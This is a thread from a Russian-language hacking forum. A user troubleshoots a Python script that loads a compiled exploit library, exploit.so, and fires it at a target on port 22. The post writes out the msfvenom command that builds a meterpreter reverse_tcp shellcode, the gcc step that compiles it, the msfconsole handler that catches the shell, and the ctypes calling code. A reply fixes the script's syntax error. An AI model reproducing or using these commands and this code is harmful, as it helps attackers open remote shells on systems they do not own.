• XSS.stack #1 – первый литературный журнал от юзеров форума

small help py script

Sec13B

(L3) cache
Пользователь
Регистрация
05.01.2023
Сообщения
257
Реакции
39
Shellcode
Код:
'msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST={ip} LPORT=9999 -f c -v shellcode'
and i replace with current shellcode :
Код:
'gcc -shared -o exploit.so -fPIC cve-ex.c'

so the exploit "exploit.so" work perfectly test directly in linux sandbox
Код:
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST {yourip}; set LPORT 9999; exploit -j"

now i try the python script :

Код:
 python3 test2.py exploit -host 192.168.11.15  -p 22
ad the result:
Код:
  File "/root/exp/test/test2.py", line 372
    if os.path.isfile('exploit.so'):
    ^^
SyntaxError: invalid syntax

Line : 372 in py script is :

Код:
if os.path.isfile('exploit.so'):

and the code for exploit.so in py file is:


Код:
    # Call the C function
    if os.path.isfile('exploit.so'):
        lib = ctypes.CDLL('./exploit.so')
        lib.exploit_vulnerability.argtypes = [ctypes.c_char_p, ctypes.c_int]
        lib.exploit_vulnerability.restype = ctypes.c_int
        result = lib.exploit_vulnerability(targets.encode(), port)
        if result == 0:
            print("Exploitation successful!")
        else:
            print("Exploitation failed.")
    else:
        print("Cannot initiate exploitation, due to exploit.so no created! Please create exploit.so first!")
def initiate_exploit():
    print("Trying to exploit..")


I try :
Код:
 File "/root/exp/test//test2.py", line 372
    if os.path.isfile('/root/exp/test//exploit.so'):
    ^^
SyntaxError: invalid syntax



how i define the patch for "exploit.so"
/root/exp/test/
any help is welcome.
thank you
 
Последнее редактирование:
qazwsx123 : broken prev lines
Solve.

Код:
 # Create the exploit
 # create_exploit(nic) //and i delete this line

    # Call the C function
    if os.path.isfile('exploit.so'):
        lib = ctypes.CDLL('./exploit.so')
        lib.exploit_vulnerability.argtypes = [ctypes.c_char_p, ctypes.c_int]
        lib.exploit_vulnerability.restype = ctypes.c_int
        result = lib.exploit_vulnerability(targets.encode(), port)
        if result == 0:
            print("Exploitation successful!")
        else:
            print("Exploitation failed.")
    else:
        print("Cannot initiate exploitation, due to exploit.so no created! Please create exploit.so first!")
def initiate_exploit():
    print("Trying to exploit..")
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх